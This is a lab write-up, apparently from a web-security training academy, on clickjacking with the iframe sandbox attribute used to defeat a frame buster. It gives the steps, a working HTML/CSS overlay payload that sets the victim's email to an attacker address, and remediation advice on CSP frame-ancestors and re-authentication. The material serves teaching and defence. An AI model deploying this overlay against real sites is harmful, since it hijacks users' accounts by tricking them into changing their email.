SCENARIO

The application possesses a vulnerability in its login functionality and a change email button protected by a frame buster which protects the website from being framed. We will try to craft some HTML that frames the account page and fools the user into changing their account’s email address by clicking on a decoy website’s button.

**PROCEDURE**

1. Open the application and login using the credentials provided to act as a target.
2. Now, as we studied in the article, we will try to craft a malicious HTML with some CSS which will come over the actual page and position itself onto the **Change Email** button and will blur the original content.
3. Due to which the user will think that this is one of the steps of accessing their account and which will cause the user to click the malicious text appearing as a button and below it will be the email change button with the sandbox attribute that neutralizes the frame buster script.
4. Go to the exploit server and paste the payload into the body tag of the exploit and click store and view the exploit in order to see if it’s working correctly.
5. At the end, deliver the exploit to the target.

**PAYLOAD**

<style>

iframe {

position:relative;

width:1000px;

height: 800px;

opacity: .1;

z-index: 2;

}

div {

position:absolute;

top: 468px;

left:65px;

z-index: 1;

background-color: blue;

}

</style>

<div>CLICK ME</div>

<iframe sandbox="allow-forms"

src="https://0a49008d033875f6875773c200e50058.web-security-academy.net/my-account?email=hacassasker@attacker-website.com"></iframe>

**REMEDIATION**

1. **Strengthen Frame Busting Techniques:** While the sandbox attribute can limit the actions of a framed content, attackers can still bypass many frame busters. Enhance the frame-busting script by combining multiple techniques. For instance, check if window.top !== window.self and if so, redirect or display an error. Additionally, use JavaScript to periodically check if the application is being framed.
2. **Content Security Policy (CSP) Enhancement:** Strengthen the Content Security Policy (CSP) with the frame-ancestors directive to restrict which domains can embed the content. Even if an attacker bypasses the frame buster, the CSP can prevent framing attempts from unauthorized domains. This is essential since the scenario implies that the frame buster was neutralized by the sandbox attribute.
3. **Require Strong User Interaction for Sensitive Changes:** Make changes to sensitive user information, like changing an email address, more interactive. Require multiple steps, re-authentication, or use 2-factor authentication. This ensures that even if a user is fooled into clicking a malicious overlay, the action isn't completed without additional, explicit user input specific to the application's genuine UI.